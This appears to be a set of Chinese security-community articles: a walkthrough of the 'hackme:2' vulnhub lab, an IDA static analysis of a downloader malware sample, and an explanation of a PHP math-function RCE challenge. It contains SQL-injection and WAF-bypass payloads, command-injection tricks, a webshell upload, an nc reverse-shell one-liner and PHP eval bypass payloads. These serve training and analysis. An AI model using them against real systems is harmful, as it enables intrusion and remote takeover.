当然题目也是存在非预期的
http://35.190.131.105/accounts.xml
存在数据库信息泄露
直接登入后可得到flag | 社区文章 |
# hackme：2 靶机攻略
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 背景：
hackme:2是vulnhub上的一个medium难度的CTF靶机，难度适中、内容丰富，贴近实战。而且没有太多的脑洞，适合安全工作者们用来练习渗透测试，然而唯一的缺憾是目前没有公开的攻略，因此把个人的通关过程记录于此，作为攻略分享给大家！
## 0x02 技术关键词：
`SQL注入、WAF Bypass、模糊测试、文件上传、suid提权`
## 0x03 靶机发现与端口扫描
做vulnhub上的靶机的第一步，所有的靶机都是一样的套路，不在这里多费笔墨。
## 0x04 SQL注入与WAF Bypass
打开位于80端口的Web页面，注册一个测试账号wangtua/wangtua，就可以登录系统了，可以发现是一个书店系统。
进入系统之后发现有一个搜索框，SQL注入的套路很明显了。要做SQL注入、第一步就是猜测SQL语句的格式和注入点。
### 1、探测SQL格式，WAF规则
本搜索框的功能是检索数据库中的书名、当搜索框为空的时候，可以返回所有的内容，
当搜索框中只包含书名的前一部分的时候，也可以返回对应的内容：
因此我们猜测SQL语句格式为(%代表通配符，可以匹配零个或者多个任意字符)：
`$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"`
基于此，我们构造如下payload：`Linux%' and '123' like '1`
使用另一个payload：`Linux%' and '23' like '1`
发现无法返回结果
可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题：
Payload:`Linux%'/**/and database() like/**/'`
**没有返回内容** ,而当我们使用注释符来代替空格的时候，则 **可以执行成功** 。
### 2、构造Payload
通过构造联合查询，一步一步获取出数据库名，表名，列名和字段
`Linux%'/**/union/**/select/**/database/**/(),'2','3`
`Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp`
`Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users'and/**/table_schema/**/like'webapp`
`Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/'1'/**/like/**/'`
到此为止我们发现了一个superadmin的账号，将md5值在线解码之后发现是Uncrackable
## 0x05 模糊测试与命令执行
进入超级管理员账号之后，我们发现了一个可以进行文件上传的点,
上传cat.jpg之后，页面上回显了上传路径。
然而我们却无法直接访问任何文件。
接下来我们注意到下面两个输入框，可以将处理结果回显到页面上，这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last
Name输入框里输入`7*7`，可以返回`49`
我们可以使用BurpSuite专业版的Intruder模块来进行模糊测试。
Payload选择模糊测试-完整，
点击开始攻击。
攻击完成之后可以发现 ``id` ` 这个payload有命令执行的回显。
我们换其他命令来执行，例如pwd,ls都可以正确执行而cat命令无法执行，猜测其过滤了空格，我们使用`cat<welcomeadmin.php`这个payload来绕过过滤。
可以看到在返回包里泄露的welcomeadmin.php的完整源代码，包括文件上传的绝对路径。
以及命令执行的成因：
使用哥斯拉生成木马并上传，发现php后缀被过滤，换成php3等也不行。
后缀改成png之后才上传成功，然而无法正常解析成PHP文件。
这里考虑使用刚才的命令执行漏洞，将文件名改成god.php
使用哥斯拉进行连接，发现连接成功
## 0x06 后渗透与提权
为了可以有更好的交互环境，我们用kali自带的weevely生成木马并连接，完成连接之后使用nc反弹shell：
由于靶机的nc版本特殊，无法使用nc -e选项，因此这里使用了如下的payload
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333
>/tmp/f`
(来自参考资料2)
使用pyhton伪终端命令,可以在伪终端执行sudo等命令
使用命令`find / -perm -u=s -type f 2>/dev/null`来发现设置了suid位的应用程序（参考资料1）
关于suid提权的原理，可以参考P师傅的博客(参考资料3)。
发现home目录下有一个可疑的文件，执行一下之后发现顺利get root权限。
## 0x07 总结与复盘：
这台靶机感觉制作的比较用心，SQL注入和文件上传等部分都比较贴近实战，唯一美中不足的是提权部分有些太过简单。目前本人正在备考OSCP，在vulnhub和HTB上做了不少靶机，打算最近把vulnhub上后渗透的套路总结一下，再发一篇文章，希望大家支持一下。
## 0x08 参考资料：
1） <https://payatu.com/guide-linux-privilege-escalation>
2） <https://github.com/swisskyrepo/PayloadsAllTheThings>
3） <https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html> | 社区文章 |
# 从"新"开始学习恶意代码分析——再静态分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在上一小节，我们已经通过纯静态分析的方式分析了一个Downloader的恶意样本。在这一节，我们通过第二个Downloader对静态分析进行一些巩固。
分析的样本hash：0b244c84e6f86a6c403b9fb5e98df8cb
同样的，我已经将该样本上传到了app.any.run，可以访问如下地址进行下载：<https://app.any.run/tasks/26a36b76-1092-484e-8a5c-9886690c1868>
解压密码依旧是infected
## 0x01 恶意样本概括
在第一小节，我们已经通过IDA对一个简单的Downloader(下载器)程序进行了静态分析，在本节中，我们将继续对第二个Downloader进行静态分析，一方面，可以巩固静态分析的知识，另一方面，在本节中将会介绍有关IDA更多的一些用法。
首先，介绍一些关于恶意样本的基础相关知识，也算是为恶意样本分析做准备。
### 样本分类
**按文件类型分类**
主要分为
PE文件(Windows平台可执行文件，如exe和dll文件)
ELF文件(Linux平台下的可执行文件)
office文档文件(注意2007版本是个分界点，07版本之前的文档文件本质是二进制文件，之后本质是压缩包)
ps1文件(powershell脚本)
js文件(JavaScript脚本)
VBS文件(vbs脚本)
bat文件(windows批处理文件)
chm文件(微软帮助文档)
lnk文件(链接文件)
hwp文件(韩国office，类似于我国的wps)
…
目前比较常见的好像就是这些，在Windows平台下，PE文件是攻击主流，其他的所有恶意样本都统称非PE，通常情况下，现在的样本的流行使用非PE加载PE的方式来攻击，原因是非PE的查杀相对PE来讲较为困难，攻击者可以通过非PE文件在用户的计算机上设置计划任务等操作，来下载后续的PE文件到本地并执行。
**按行为来分**
主要分为
1. Downloader(下载者) 此类木马的主要功能就是下载后续的攻击文件到本地继续执行，此类样本的特点就是小，通常来说，代码也比较简单，就是通过访问一个链接，下载文件保存到本地，然后通过一定的方法启动这个文件。
2. Dropper(释放器)，此类木马的主要功能是释放并执行后续的攻击文件。就攻击者可能会将恶意的程序加密成为一段数据，然后放到Dropper中，由Dropper解密释放并执行这个文件，这样做的目的是可以起到一定的免杀效果。
3. 窃密木马，此类木马的主要功能是收集本地主机的一些机密信息并打包上传，比如收集各大浏览器的缓存目录、隐私目录等，拿到用户保存的密码信息。或是收集本地主机的一些文档文件，最后加密上传到攻击者的邮箱服务器、FTP服务器等。
4. 远控木马，远控木马拥有对本地主机的控制权，可以随时通过下发控制指令实现不同的功能。属于在分析中很常见的木马，目前主流的远控木马大多都是由C#编写，并且很多是开源的商业马，在github都可以找到源码实现.
5. Ransom(勒索病毒)
6. Adware(广告类恶意软件)，此类软件通常不像木马那样有侵犯用户隐私的危害，大多数是用于推广广告、篡改用户浏览器主页等。
7. 感染型木马，感染型木马较为特殊，遇见的也比较少，可以等后面找一个实际的感染型木马分析。
### 样本分析的基本流程
总的来说，样本分析是有一个固定套路的。
通常来说流程如下：
1. 文件查壳(看文件是否有壳，有壳则需要脱壳)
2. 行为检测(通过行为检测工具，跑出样本的大致行为，通过此步骤，可以对样本的基本功能有个概要的了解，从而确定分析方向，比如在行为检测的时候，监控到样本运行后会访问某个域名，然后我们可以对这个域名进行查询，看该域名是否已经有公开的情报，是否被归类到了某个家族，确定这些信息之后，我们大概可以了解到本次分析的样本的基本类型，比如是下载者、是窃密的、还是远控的。)
3. 静态分析(静态分析分为导入表分析、字符串分析、代码分析、在导入表分析和字符串分析的时候，可以结合行为检测得到的结果)
4. 动态调试(通常来讲，阅读IDA的代码，是分析样本最快的情况，但有时候，一些较为复杂的解密运算、或是样本开辟了新内存等功能，需要使用调试器来协助分析)
5. 关联分析(在样本的基本功能分析完成之后，我们需要对样本做关联分析，通常来讲，大部分的样本都是有通信行为的，在关联分析的时候，通常就是以请求的域名、ip等信息进行关联)
6. 溯源分析(更深层次的对攻击者进行一个挖掘)
7. 总结分析报告
当然，对待不同类型的样本，也有着不同的处理方式。在接下来的文章中，我将先分别结合实际的样本介绍几种分析方法，最后再按照这个流程，进行详细的分析。
## 0x02 IDA分析
现在我们通过IDA加载这个样本
将样本拖入到32位的IDA中，会有如下窗口
这里可以看到，IDA自动识别到了该程序是一个PE文件，直接单击OK
样本通过IDA加载之后，会默认停在程序的入口点，这里是WinMain函数开头的地方。
我们在右边的代码窗口中按空格键，将流程图展示的代码转换为汇编展示的代码
### 导入表分析
同样的，先分析程序的导入表，打开名为IMPORTS的窗口
程序一共有57个导入表，大多数都是正常的，只是在最后看到了如下的导入表信息
通过对WindowsAPI的熟悉，我们可以知道InternetReadFile用于从互联网读取数据到内存，也就是可以实现下载功能
我们可以双击进入该函数，然后在InternetReadFile上按下X，查看交叉引用
从交叉引用的窗口中我们可以看到，前面两个引用地址都是sub_401170+xxx ，最后一个引用地址为.rdata:00407570
所以我们可以得知，该函数是在sub_401170调用了两次，由于rdata段属于资源段，这里不是代码区，所以不用管最后这个地址。
既然只在在sub_401170函数中调用，我们就直接选中第一条，然后点击ok跳转过去
然后往上滑动，找到这个函数开始的地方
可以看到，的确是sub_401170函数，且从右边绿色的字体中我们可以得知，该函数是直接在WinMain函数中调用的，我们继续按X交叉引用，回到在WinMain中的调用处：
回来发现是在00401B24这行调用的
此时我们可以通过两种方式进行标注
1是直接修改sub_401170函数的名字，使其有一定的标识度
修改函数名的话，我们直接选中sub_401170，然后按下 n 键即可重命名
我这里将其重命名为了Rename_InterNet_relevant，表示这个函数是我重命名的，然后是网络请求相关的函数。
接着单击ok，接下来sub_401170这个函数就被重命名为了Rename_InterNet_relevant
第二种方式是给这行代码添加注释
鼠标光标选中00401B42这一行，然后按下英文的 ; 键
然后在弹出的对话框中输入注释信息，点击ok
由于导入表中已经没有更多的可疑函数了，接下来，我们分析一下strings表
### Strings分析
可疑通过快捷键shift + f12 打开strings表
strings一共有41个字符串，其中大部分是编译器所使用的，在strings表尾部可以看到有几个比较可疑的字符串。
我们在分析字符串的时候，是为了尽可能的查找到特殊的字符串。
在该样本的strings表中，开头的那几个字符串太短，也几乎没有什么意义所以可以暂时忽略，中间部分大部分是编译器生成的，或者使用到的公有库文件中的。一般来说，程序中带了两个下划线开头的，都是属于系统的内容，比如__GLOBAL_HEAP_SELECTED：
然后像”R6028- unable to initialize heap”这种，也属于正常的字符串：
再往后看，是程序使用到的一些API名或模块名。
最后部分出现了下载链接，然后本地的一个路径。
很明显，C:Program FilesuuseeUUSeePlayer.exe这个不是一个正常的程序路径。
结合后面的hxxp[:]//download.uusee.com/pop2/pc/UUSee_youzhan1_Setup_11.exe
我们可以推测程序会从后面这个下载链接下载文件到本地并保存到上面的那个路径。
我们先双击进入到下载链接这个字符串，然后交叉引用。
可以看到，唯一的引用位置就在WinMain函数中。
接着我们来看看存放地址的引用位置：
同样是在WinMain函数中：
且该地址作为参数，传入到了sub_401000函数中。
我们这里可以大胆的猜测，sub_401000函数用于执行这个路径的文件。
至此，字符串表也分析的差不多了，通过导入表和字符串表的分析，现在已经对这个样本有了一个大概的印象。
比如样本有可能会通过InternetReadFile函数从hxxp[:]//download.uusee.com/pop2/pc/UUSee_youzhan1_Setup_11.exe读取文件并保存到本地路径的C:Program
FilesuuseeUUSeePlayer.exe，然后在sub_401000函数中启动这个文件。
接下来，我们对样本进行完整的代码分析，去验证我们的猜想。
### WinMain代码分析
我们回到WinMain函数中，代码如下：
WinMain的第一行是
sub esp,224h
这里直接修改了esp的值，开辟了一个栈空间，然后call sub_401A00，这里可以看到，call sub_401A00之后，会通过test al,al
这个指令判断al的值是否为0，如果al寄存器不等于0，则通过jnz跳转到loc_401BB2处继续执行。
之前我们说过，当一个函数执行完之后，如果函数有返回值，默认情况下会将返回值保存到eax中。
由于al是eax的一部分，所以如果eax等于0，那么al肯定也是为0的。
如果返回值为0，jnz指令不执行，程序继续执行call sub_401960
，同样的，该函数执行完之后，也会判断al的值是否为0，如果不为0则也跳转到loc_401BB2的地址继续执行。我们看一下loc_401BB2:
可以看到，当程序跳转到loc_401BB2执行后，WinMain执行retn指令，程序就退出了。
所以我们可以知道，刚才调用的sub_401A00 以及 sub_401960
都是一个初始的校验，或者说环境判断，如果说校验没通过，那么程序就不会继续执行了。
一般来说，攻击者在执行真正的恶意功能前，可能会对程序进行以下几个方面的校验
1 互斥体校验 此步操作是为了防止多开程序，从而导致在进程列表中有多个进程，被运维人员或者用户发现异常。
2 反调试校验 此步操作用于判断当前程序是否处于调试的状态
3 虚拟机校验 此步操作用于判断程序是否运行在虚拟机中
4 联网校验 此步操作用于判断用户是否可以连接互联网，或者是否可以连接外网
5 操作系统校验 此步操作用于判断用户计算机的操作系统位数，通常来说，进行此步校验的不会直接结束程序，会根据32位和64位的不同，分别执行不同的代码。
6 是否被其他攻击者攻陷 （查找是否存在其他攻击者留下的攻击痕迹，如果存在则退出）
7 是否值得后续的攻击（比如窃密的可能会判断用户计算机所在的地区、挖矿的会判断用户计算机的性能等）
暂时就想到这些，后面有想到的话再补充。总的来说，做这些校验，都是为了后续能够开展更好的攻击。
我们回到WinMain的头部代码，当sub_401A00 和 sub_401960校验完成之后，程序会call
sub_401810函数，然后判断返回值，如果返回值不为0则跳转到下面的loc_401AD0处执行，否则直接通过ExitProcess函数退出进程。
这里我们无法直接判断sub_401810函数的功能，有可能也是在进行校验，也有可能是做了其他操作。
于是，为了搞清楚程序到底在做什么，我们进入到第一个call sub_401A00中：
我们之前讲过，双下划线开头的，一般都是系统的，所以我们直接对__except_handler3进行查询：
遇到这种就需要注意了，因为这里是在WinMain函数中，出现了处理异常的函数，我们需要小心的分析一下这部分代码。
因为是处理异常的代码，这里使用的也是不常见的汇编，我们可以尝试直接通过F5查看该含函数的伪代码：
这里提示401A92:positive sp value has been found
这种情况通常是表示堆栈不平衡，我们可以手动修改堆栈。
首先定位到401A92，光标停留在401A92这行，然后Alt + k 打开堆栈窗口
这里可以看到，Current SP value 是0x18，但是下面的值却是0x4，这里堆栈不平衡了，我们将下面的0x4修改为-0x18
然后单击ok，按下F5，还是提示无法反汇编
于是我们在00401A90这行继续按Alt + k
将这里的0x1C更改为0x4，然后确定，F5得到sub_401A00的C语言伪代码
这里只执行了一个__indword(0x568u)
我们查询一下这条语句
搜索引擎告诉我们，该语句可以用于反调试。通过查看搜索出来的文档，我们也可以基本确定这里是用于反调试，于是我们可以修改sub_401A00并对其进行标注。
接着我们来到WinMain中的第二个call ，sub_401960函数中：
我们还是直接F5，可以看到如下语句：
__asm { vpcext 7, 0Bh }
查询之后可以得知，该指令可能用于检测虚拟机
现在我们就知道WinMain开头的两个函数的具体功能了：
接着看第三个函数sub_401810:
sub_401810最开始的地方，声明了一个名为pe的结构体，类型是PROCESSENTRY32
我们查询一下PROCESSENTRY32可以得知该结构体存储的是快照进程信息
然后下面调用了CreateToolhelp32SnapshotAPI创建了一个线程快照
CreateToolhelp32Snapshot调用完之后，将eax中的值mov到esi中，然后将0FFFFFFFF和esi比较，如果不相等，则跳转到后面的loc_40184F：
loc_40184F这里，首先会调用Process32First来获取当前进程列表中第一个进程的句柄。
当函数成功调用后，程序会通过lstrcmp对比explorer.exe和pe.szExeFile
我们之前已经知道了pe是PROCESSENTRY32类型的结构体，所以我们到微软的官网中查看PROCESSENTRY32的结构，其中提到了szExeFile表示进程中可执行文件的文件名。
所以这里是判断是否找到了explorer.exe进程
如果没有找到，则调用Process32Next获取下一个进程的句柄，然后再次与explorer.exe比较
可以看到这里是一个循环，功能就是找到explorer进程。
如果找到的话，则跳转到loc_401881继续执行，将explorer.exe进程的信息存放到ebx和ebp中。
然后CloseHandle关闭句柄，最后retn返回。所以我们可以得知
WinMain里面的第三个函数sub_401810用于遍历当前所有的进程，找到explorer.exe
回到WinMain，当explorer成功找到之后，则会跳转到loc_401AD0处继续执行。
我们可以看到，在loc_401AD0处，程序首先通过 mov esi,offset aHttpDownloadUu
将我们之前看到的URL地址在内存中的地址赋值给了esi寄存器。此时esi寄存器将会指向这个下载地址。
结合程序通过lea edi, [esp+22Ch+var_104] 给edi寄存器赋值。这里的var_104在该函数开头有定义：
所以这里实际上是 lea,edi,[esp + 22c -104]
得到lea,edi,[esp + 128]
所以edi的值是 esp + 128
接着，程序通过
rep movsd
movsw
的指令，将esi的值赋值给edi，所以现在esp + 128 的地址，指向了下载链接。
接着，程序又进行了两次赋值，红框部分，然后将esp + 22c +Filename的值赋值给eax
其中Filename的值为-208h，所以这里eax为 esp + 22c -208 ，eax最后得到esp + 24
然后push eax，将这个值作为参数传递到sub_4018B0函数中
sub_4018B0的主要功能是获取windows的目录信息，可以看到通过GetSystemDirectoryA获取到系统路径之后，程序会将其存放到[esp+210h+Buffer]，然后在下面通过循环，只取冒号之前的内容。
所以这里最后会返回一个系统的根路径。C:(分析到这里换了一个环境，所以IDA修改为白色了)
sub_4018B0函数调用成功后，[esp+230h+FileName]的值应该为C:
这里需要注意一点，由于在调用sub_4018B0的时候，执行了push eax的操作，所以esp的值会减4，所以之后想要请求现在存放的值，将会多增加4.
我们回到WinMain函数中，红框部分是qmemcpy的汇编实现，用于将aUuseeYouzhan1S拼接到[esp+230h+FileName]
所以红框部分执行完之后，[esp+230h+FileName]的值应该是C:UUSee_youzhan1_Setup_11.exe
同时可以看到，call sub_4018B0执行完之后，edi赋值为 [esp + 230h + FileName]
对比上面的[esp+22ch+FileName] 刚好多了4个字节，和我们推算的一致。
赋值成功之后，程序通过lea指令取了[esp+230h+FileName]和[esp+230h+var_104]的值分别存放到了ecx和edx中，然后将这两个寄存器作为参数传递到了之前我们分析的网络请求函数中。此时ecx存放的就是文件的保存路径C:UUSee_youzhan1_Setup_11.exe，edx存放的是请求下载的地址。
### Rename_InterNet_relevant分析
我们进入到Rename_InterNet_relevant函数中，看看具体的实现。
Rename_InterNet_relevant函数最开始通过memset的方式对一些局部变量赋值。
如LibFileName、ProcName等
我们将所有的ascii转换为字符并拼接之后可以得到解码了如下的变量：
LibFileName = Winnet.dll
ProcName = InternetGetConnectedStats
[esp+107A4h+var_10144] = InternetOpenA
[esp+107A4h+var_1044F] = InternetOpenUrlA
[esp+107A4h+var_10248] = HttpQueryInfoA
[esp+107A4h+var_10450] = InternetReadFile
[esp+107A4h+var_10658] = InternetCloseHandle
变量赋值完成之后，程序首先通过LoadLibrary加载Winnet.dll
然后通过GetProcAddress获取ProcNam也就是InternetGetConnectedStats的地址
获取成功之后，程序call
eax调用InternetGetConnectedStats，接着判断eax是否为0，如果不等于0则说明调用成功，跳转到loc_40158D继续执行，如果eax等于0说明函数调用失败，则在后面调用FreeLibrary释放Library然后退出函数。
跳转过来执行后，程序首先通过timeGetTime获取时间，以%s%ld作为格式化，然后尝试通过GetProcAddress获取var_10144的地址。
经过上面的分析，我们知道var_10144代表InternetOpenA，后面的代码基本上可以不用看了，就是非常非常正常的一个下载流程。
就是InternetReadFile，然后CreateFile，再通过WriteFile写入文件：
至此，网络请求函数分析完毕。
程序调用网络请求函数成功下载文件并保存到本地之后，程序会将存储路径作为参数传递到我们最开始分析的sub_401000函数中
### sub_401000
我们来看一下sub_401000的具体实现：
00401000函数进来之后，通过lea edi, [esp+264h+var_24C]给EDi赋值，然后通过rep
stosd将edi的前面11h大小的空间写为0。
然后在00401035处有一次给edi赋值，在0040108F处将0赋值到edi中，大小为3Dh。
且可以看到在0040103C处开始对局部变量LibFileName赋值。
我们可以把鼠标点到后面的6Bh上，然后按下键盘的R键，将十六进制数据转换为字符。
同时可以看到，这里首先将字符 e 赋值给dl，将字符 l 赋值给al，然后再下面通过访问dl 和 al
以访问对应的字符，避免了多次使用同一个字符串ascii编码。
将这里的数据组合一下不难看出这里LibFileName = kerne32.dll
接下来是给ProcName赋值。同样的，经过分析，不难看出ProcName = CreateProcessA
两个局部变量赋值完成之后，会将LibFileName(kerner32.dll)赋值到eax，然后push eax调用LoadLibraryA
通过LoadLibrary加载Kernel32.dll之后，程序还会通过GetProcAddress获取CreateProcessA的地址
然后通过call eax的方式，创建edx进程，dex来源于参数。由此可以得知，00401000函数的确用于创建进程，和我们最开始的猜想保持一致。
进程成功创建之后，通过CloseHandle关闭打开的句柄，然后退出00401000函数。
接着进行一段时间的休眠，然后将另外一个路径C:Program
FilesuuseeUUSeePlayer.exe作为参数传递到sub_401000函数中执行。
这个路径就是我们最开始在行为分析中看到的路径，经过分析，我们发现在此样本中并为访问该路径，结合sleep函数，我们可以猜测，本样本通过网络请求下载回来的样本应该是第二阶段的Downloader或者Dropper，执行之后，会下载或释放第二个样本保存到C:Program
FilesuuseeUUSeePlayer.exe，然后在这里通过sub_401000函数执行。
最后结束进程，该样本运行结束。
### 0x03 总结
至此，第二个简单的Downloader已经分析完成。
在下一小节，将结合行为分析的一些技巧，对最后一个Downloader进行快速的静态分析。 | 社区文章 |
# php利用math函数rce总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
由 2019 国赛 love math 而来，国赛题目质量一直可以的，“数学题”近年来也不少，比如今年护网杯，但网上一些博客写得不够基础，比如 php
异或的原理是什么？为什么两个字符串异或会得到这个？完全没有解答。
写这篇文章的目的，就是从基础层面上，收集师傅们的各种解题方法来总的分析一下—— php 怎么利用数学函数来代码执行。
## 0x01 题解
### Love Math
<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
//ban 了单双反引号，不能直接利用 eval 命令执行
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
get 传参 c ，长度限制 80 ，有黑白名单，简而言之，要求你构造一个用白名单函数，又不包括黑名单符号的 payload 来命令执行。
白名单中数学函数分两种利用方法，进制转换和异或，旨在调用 **能返回字符串** 的数学函数达到命令执行的目的。
* * *
### 数学函数的利用
#### 进制转换函数
这里参考了 [N0rths 一血师傅的博客](https://northity.com/2019/04/23/CISCN2019Web-WP/#love-math)
白名单里进制转换的函数：
'base_convert', 'bindec', 'decbin', 'dechex', 'hexdec', 'decoct','octdec'
函数解释：
> `base_convert(number,frombase,tobase)`
>
> 在任意进制之间转换数字。
>
> `dechex(dec_number)`
>
> 把十进制转换为十六进制。返回一个字符串，包含有给定 _binary_string_ 参数的十六进制表示。所能转换的最大数值为十进制的
> 4294967295，其结果为 “ffffffff”。
>
> `hexdec(hex_string)`
>
> 把十六进制转换为十进制。返回与 _hex_string_ 参数所表示的十六进制数等值的的十进制数。
>
> 其他的 `decbin` `decbin` `decoct` `octdec` 同上，分别是二进制、八进制与十进制的互转。
十六进制的字母范围只有 a-f ，显然是不符合我们构造的要求，而三十六进制字母范围正好为 a-z 。
而 `base_convert` 正好能在任意进制转换数字，这样我们传入十进制的数字，使其转换为三十六进制时，返回的字符串是我们想要的 `cat`
等命令就行了。
反过来构造，例如：
echo base_convert("cat",36,10);
//15941
但这里，虽然可以构造纯字母字符串了，但进制转换显然不能返回 `.` `/` `*` 等特殊字符，而这就需要用到另一类运算函数。
#### 运算函数
比如我们要构造 `system('cat *')`
那么我们需要返回 `空格*` 这样的函数，而 php 中函数名默认为字符串，可以进行异或。
> [php 异或](https://www.php.net/manual/zh/language.operators.bitwise.php)
>
> php 中异或运算符 `^` 是位运算符，如果进行运算的都是数字的话：
>
>
>
> 将会先转换为二进制来按位异或，比如：
>
>
> echo 12 ^ 9; // Outputs '5'
>
>
> 但如果进行运算的有字符串呢？
>
>
> echo "12" ^ "9"; // Outputs the Backspace character (ascii 8)
> // ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8
>
> echo "hallo" ^ "hello"; // Outputs the ascii values #0 #4 #0 #0 #0
> // 'a' ^ 'e' = #4
>
> echo 2 ^ "3"; // Outputs 1
> // 2 ^ ((int)"3") == 1
>
> echo "2" ^ 3; // Outputs 1
> // ((int)"2") ^ 3 == 1
>
>
> 长度一致时，会先把字符串按位转换为 ascii 码，再将 ascii 码转换为二进制进行按位异或，最后输出 ascii 为异或结果的字符。
>
> 长度不一致时，按最短的字符串长度按位异或，比如 `"12" ^ "9"` 的例子。
>
> 按位异或运算的几个性质：
>
> 1. 结合律a ^ b ^ c = a ^ c ^ b
> 2. 交换律a ^ b = b ^ a
> 3. 数值交换（能交换 a 与 b 的值）a = a ^ b; b = a ^ b; a = a ^ b;
>
>
> 而我们要构造有 `空格*` 该怎么利用异或呢？
>
> 由上面的性质 1 其实就已经明确了，`"a"^"a"` 结果是多少呢？相同即 0 ，也就是说，其 ascii 全 0 ，ascii 全 0
> 按位异或，得到的不就完全是另外一个 ascii 码吗，换言之，`"a"^"x"^"a"` 无论怎么调换顺序，输出的都是 x 的ascii 码 120
> ，无论 x 被替换为什么，都是一样的结果。
>
> 这也是 N0rths 师傅在博客中写的脚本中是 `echo $k^$i^" *";` 的原因，想得到 `空格*` 就找 `k` 和 `i`
> 能异或出另外一个数学函数 `dechex` 构造的值，取的值自然是我们这里的白名单函数，前面说过，函数名默认为字符串。
师傅的爆破脚本
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];
foreach ($whitelist as $i):
foreach ($whitelist2 as $k):
echo $k^$i^" *";
echo " " . $i . " " . $k;
echo "<br/>";
endforeach;
endforeach;
理解上述这些后，来分析下师傅最终的 payload：
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//base_convert(1751504350,10,36) ->system
//base_convert(15941,10,36) -> cat
//system('cat *')
而 `dechex(16)` 返回的值正好是 10 ，所以 `dechex(16)^asinh^pi` 这个表达式就相当于 `asinh^pi^"
*"^asinh^pi` 也就相当于 `" *"^"a"^"a"` 输出自然就是 `空格*` 。
当然构造不止 `asinh^pi` ，其他也能异或出 `空格*` ，只需要找到异或结果为十六进制形式的组合，再找到转十六进制与其相等的一个十进制数，利用
`hexdec()` 进行异或即可。
`dechex(11)^atan2^pow` 的结果也为 `空格*`
当然，既然能异或出特殊字符，那么异或出字母也不是什么难事，我们可以不用进制转换来构造关键字。
这部分放在下面的构造 `_GET` 绕过来一起分析。
* * *
接下来我们再来学习绕过的操作，N0rths 师傅是直接读取 flag 的，除了 `cat *` 以外，师傅还提到了 `nl f*`
这个命令来读取，以图为例：
命令解释：
> `nl [参数] [文件]`
>
> nl命令是一个很好用的编号过滤工具。该命令可以读取 File 参数（缺省情况下标准输入），计算输入中的行号，将计算过的行号写入标准输出。
### 绕过姿势
#### 构造 _GET
因为黑名单字符过滤较多，我们也可以用 `_GET[]` 来传 `system` 之类的命令，但 `[]` 被过滤了，师傅提到的一个 trick 就是
`{}` 代替 `[]` 。
先上 payload ：
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
// base_convert(37907361743,10,36) -> hex2bin
// dechex(1598506324) -> 5f474554
// hex2bin("5f474554") -> _GET
payload 的 `(pi){pi}((pi){abs})` 这一串又是什么意思呢？为什么能将变量 `pi` 的值作为函数使用？
这里牵扯到 php 可变变量和可变函数的用法。
> [php 可变变量](https://www.php.net/manual/zh/language.variables.variable.php)
>
> 简而言之，一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置，例如：
>
>
> $a = "land";
>
>
> 而一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
>
